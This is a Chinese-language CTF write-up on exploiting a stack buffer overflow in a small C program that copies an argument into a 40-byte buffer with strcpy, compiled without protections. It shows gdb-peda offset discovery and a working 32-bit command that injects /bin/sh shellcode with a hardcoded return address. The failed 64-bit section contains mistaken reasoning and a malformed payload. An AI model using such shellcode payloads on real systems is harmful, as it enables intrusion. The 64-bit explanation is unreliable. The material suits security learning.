CTF--pwn（栈溢出漏洞）

0x00 工具介绍

* Ubuntu系统（kali也可以）

* gdb-peda 这个是神器，二进制分析必备神器

0x01 程序源码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[])
{
    char buf[40];
    memset(buf,'\0',sizeof(buf));
    if(argc != 2)
    {
        printf("%s <arg>\n",argv[0]);
        exit(1);
    }
    strcpy(buf,argv[1]);
    printf("%s\n", buf);

    return 0;
}

0x02 32位程序分析

* gcc -m32 -fno-stack-protector -z execstack  -z norelro -o pwn pwn.c //什么安全机制都不加

* 可以从源码中直接看出极有可能会有栈溢出漏洞，buf有40字节。开始动手。。。

* 首先先用checksec 检测一下安全机制。发现什么都没有开。

* 用正常的输入方法走一遍，发现EBP的地址减去输入存放的地址 是等于 48的。（简单说明一下EBP和ESP的关系，在ret返回之前，先把EBP里面的后四个字节压入栈中，并等待ret取ESP栈中的值返回。也就是说只要我们能把EBP的这个四个字节给淹没了，那我们就几乎成功了！）

* 果然和我们猜想的是一样的，只要能把  0xf7e24af3的地址淹没了，就可以返回到我们想要返回的地址，总共52个字节之后就可以淹没。

* 上面是一种比较麻烦的办法找到返回的地址，接下来有更加便捷，也是推荐使用的方法。

* pattern create 70 直接创建有规律的70个字节的字符串，再用python 直接将这些字符串运行。当然也可以直接r 字符串。

* 发现在这个地址处断了。

* 再用 pattern 查看这个地址的位置，发现是52，很明显52字节之后就是我们要淹没的地址了。

* 接下来就是调用shellcode了，peda有个很好的功能，就是直接生成shellcode。

* 我们要在箭头处设置一个shellcode，也就是0xffffd560。

* r `python -c'print "A"*8 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"+"A"*20 + "\x60\xd5\xff\xff"'`   运行即可。

 

0x03 64位程序分析

* gcc -fno-stack-protector -z execstack  -z norelro -o pwn pwn.c //什么安全机制都不加

* 64位和32位不同，64位中如果给的参数过大的话，它报错了，但是就是不告诉你哪个地址出错了。

* 如图可以看出RBP的地址是0x7fffffffe470，而返回的地址是0x7fffffffe478，移动了8位，很明显这是因为是64位的程序而导致的，如上面32位的程序则是移动4位，所以只要我们淹没了这个0x7fffffffe478就可以得到flag了。我们可以计算出 参数的字节 = 0x30 + 8 + 6 = 62 字节   8就是RBP那八个字节的0，6字节则是要淹没的地址。

注意！！！ 不能超过那6字节也就是不能超过64字节，否则不会报错地址，这应该就是64位的保护机制了。也不能注入 \x00

* 当输入 r `python -c 'print  "\x90"*8+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"+"\x90"*24+"\x02\xe4\xff\xff\xff\7f"'`时，会出现奇怪的数值，这应该也是防止栈溢出的机制吧。  64位栈溢出暂时失败。。。。。。。

0x04 小结

很显然64位程序比32位要安全的多，许多的保护机制，更加难以渗透，也许是本人的能力还不够，有很大的进步空间，希望下次遇到64位程序时能攻进去！